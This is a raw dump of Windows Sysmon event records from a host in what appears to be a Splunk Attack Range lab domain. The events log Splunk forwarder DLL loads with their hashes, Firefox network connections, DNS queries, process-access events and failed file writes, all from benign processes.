AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000054941Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.876{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local63129-false52.222.214.105server-52-222-214-105.fra56.r.cloudfront.net443https 354300x800000000000000054940Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.871{7BD73061-65B2-613B-1400-00000000F001}340C:\Windows\System32\svchost.exeNT AUTHORITY\NETWORK SERVICEudptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local52985-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domain 354300x800000000000000054939Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.382{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63128-false10.0.1.12-8000- 22542200x800000000000000054938Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.702{7BD73061-728D-613B-560B-00000000F001}4776d2nxq2uap88usk.cloudfront.net013.32.22.114;13.32.22.105;13.32.22.13;13.32.22.10;C:\Program Files\Mozilla Firefox\firefox.exe 734700x800000000000000054937Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.289{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000054936Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.289{7BD73061-7430-613B-920B-00000000F001}71443232C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000054935Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.289{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000054934Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.289{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000054933Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.189{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8F74E67313E43E5A6579D8BDE5DE7604,SHA256=F59C73E772C60F7CB0367FA6B979A96970022D6341C3CD8C7E3460A13B82EF49,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054932Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.158{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FDE929D3D1509B8FA0F7457740992F1F,SHA256=B796136612EBE572AEB1777B1440ED1B4C700EA1380A6F25D92D19600DB49DC9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000054931Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.105{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000054930Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.089{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000054929Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.089{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000054928Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.089{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000054927Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.089{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000054926Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.089{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000054925Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.089{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000054924Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.089{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000054923Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.074{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000054922Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.074{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000054921Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.074{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000054920Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.074{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000054919Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.074{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000054918Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.074{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000054917Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.074{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000054916Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.074{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000054915Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.074{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000054914Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.074{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000054913Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.074{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000054912Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.074{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000054911Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.074{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000054910Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.074{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000054909Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.074{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000054908Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.074{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000054907Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.074{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000054906Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.074{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000054905Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.074{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000054904Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.074{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000054903Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.074{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000054902Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.074{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000054901Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.074{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000054900Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.074{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000054899Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.074{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000054898Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.074{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000054897Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.074{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 23542300x800000000000000054896Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.074{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\prefs-1.jsMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000054895Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.074{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000054894Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.058{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows 